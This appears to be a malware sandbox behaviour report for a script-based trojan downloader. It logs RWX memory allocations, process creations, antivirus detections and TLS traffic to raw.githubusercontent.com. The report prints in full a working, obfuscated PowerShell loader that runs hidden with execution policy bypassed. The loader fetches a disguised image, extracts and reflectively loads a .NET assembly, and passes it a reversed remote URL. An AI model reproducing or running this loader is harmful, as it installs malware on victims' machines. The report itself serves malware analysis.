protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028dd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028de000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028df000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x048f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('yjLimageUrl = YqLhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg YqL;yjLwebClient = New-Object System.Net.WebClie'+'nt;yjLimageB'+'ytes = yjLwebClient.DownloadData(yjLimageUrl);yjLimageText = [System.Text.Encoding]::UTF8.GetString(yjLimageBytes);yj'+'Lst'+'artFlag = YqL<<BASE64_START'+'>>YqL;yjLendFlag = YqL<<BASE64_END>>YqL;yjLstartIndex = yjLimageText.IndexOf(y'+'jLstartFlag);yjLendIndex = yjLimageText.IndexOf(yjLendFlag);yjLstartIndex -ge 0 -and yjLe'+'ndI'+'ndex -gt yjLstartIndex;yjLs'+'tartIndex += yjLstartFlag'+'.Length;yjLbase64Length = yjLendIndex - yjLstartIndex;yjLbase64Command = yjLimageText.Substring(yjLsta'+'rtIndex, yjLbase64Length'+');yjLcommandBytes = [System.Convert]::FromBase6'+'4String(yj'+'Lbas'+'e64Command);yjLloadedAssembly = [System.Reflection.Assembly]::Load(yjLco'+'mmandBytes);yjLvaiM'+'ethod = [dnlib.IO.Home].GetMethod(YqLVAIYqL);yjLvaiMethod.Invoke('+'yjLnull, '+'@(YqLtxt.44446esa'+'b'+'bbbbbewmadam/431.871.64.891//:ptthYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLAddInProcess32YqL, YqLdesativadoYqL, YqLdesativadoYqL));').RePlaCE('yjL','$').RePlaCE('YqL',[stRING][ChAr]39) | iex"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2140
thread_handle: 0x000002f0
process_identifier: 2136
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f8
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2280
thread_handle: 0x0000044c
process_identifier: 2276
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('yjLimageUrl = YqLhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg YqL;yjLwebClient = New-Object System.Net.WebClie'+'nt;yjLimageB'+'ytes = yjLwebClient.DownloadData(yjLimageUrl);yjLimageText = [System.Text.Encoding]::UTF8.GetString(yjLimageBytes);yj'+'Lst'+'artFlag = YqL<<BASE64_START'+'>>YqL;yjLendFlag = YqL<<BASE64_END>>YqL;yjLstartIndex = yjLimageText.IndexOf(y'+'jLstartFlag);yjLendIndex = yjLimageText.IndexOf(yjLendFlag);yjLstartIndex -ge 0 -and yjLe'+'ndI'+'ndex -gt yjLstartIndex;yjLs'+'tartIndex += yjLstartFlag'+'.Length;yjLbase64Length = yjLendIndex - yjLstartIndex;yjLbase64Command = yjLimageText.Substring(yjLsta'+'rtIndex, yjLbase64Length'+');yjLcommandBytes = [System.Convert]::FromBase6'+'4String(yj'+'Lbas'+'e64Command);yjLloadedAssembly = [System.Reflection.Assembly]::Load(yjLco'+'mmandBytes);yjLvaiM'+'ethod = [dnlib.IO.Home].GetMethod(YqLVAIYqL);yjLvaiMethod.Invoke('+'yjLnull, '+'@(YqLtxt.44446esa'+'b'+'bbbbbewmadam/431.871.64.891//:ptthYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLAddInProcess32YqL, YqLdesativadoYqL, YqLdesativadoYqL));').RePlaCE('yjL','$').RePlaCE('YqL',[stRING][ChAr]39) | iex"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Skyhigh BehavesLike.VBS.Trojan.np
Symantec CL.Downloader!gen11
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent |xg DjÇúøÏ 5V×ÔóL? »àS*áoÑÏ9[»þ,/5 ÀÀÀ À 287ÿraw.githubusercontent.com  
Data sent |xg Dj§Ë¼×BxÕkºïR †+§¦_`‘f÷.qõ8/5 ÀÀÀ À 287ÿraw.githubusercontent.com  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

 buffer: |xg DjÇúøÏ 5V×ÔóL? »àS*áoÑÏ9[»þ,/5 ÀÀÀ À 287ÿraw.githubusercontent.com  
socket: 1440
sent: 129
1 129 0

send

 buffer: |xg Dj§Ë¼×BxÕkºïR †+§¦_`‘f÷.qõ8/5 ÀÀÀ À 287ÿraw.githubusercontent.com  
socket: 1440
sent: 129
1 129 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('yjLimageUrl = YqLhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg YqL;yjLwebClient = New-Object System.Net.WebClie'+'nt;yjLimageB'+'ytes = yjLwebClient.DownloadData(yjLimageUrl);yjLimageText = [System.Text.Encoding]::UTF8.GetString(yjLimageBytes);yj'+'Lst'+'artFlag = YqL<<BASE64_START'+'>>YqL;yjLendFlag = YqL<<BASE64_END>>YqL;yjLstartIndex = yjLimageText.IndexOf(y'+'jLstartFlag);yjLendIndex = yjLimageText.IndexOf(yjLendFlag);yjLstartIndex -ge 0 -and yjLe'+'ndI'+'ndex -gt yjLstartIndex;yjLs'+'tartIndex += yjLstartFlag'+'.Length;yjLbase64Length = yjLendIndex - yjLstartIndex;yjLbase64Command = yjLimageText.Substring(yjLsta'+'rtIndex, yjLbase64Length'+');yjLcommandBytes = [System.Convert]::FromBase6'+'4String(yj'+'Lbas'+'e64Command);yjLloadedAssembly = [System.Reflection.Assembly]::Load(yjLco'+'mmandBytes);yjLvaiM'+'ethod = [dnlib.IO.Home].GetMethod(YqLVAIYqL);yjLvaiMethod.Invoke('+'yjLnull, '+'@(YqLtxt.44446esa'+'b'+'bbbbbewmadam/431.871.64.891//:ptthYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLAddInProcess32YqL, YqLdesativadoYqL, YqLdesativadoYqL));').RePlaCE('yjL','$').RePlaCE('YqL',[stRING][ChAr]39) | iex"
parent_process wscript.exe martian_process powershell -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
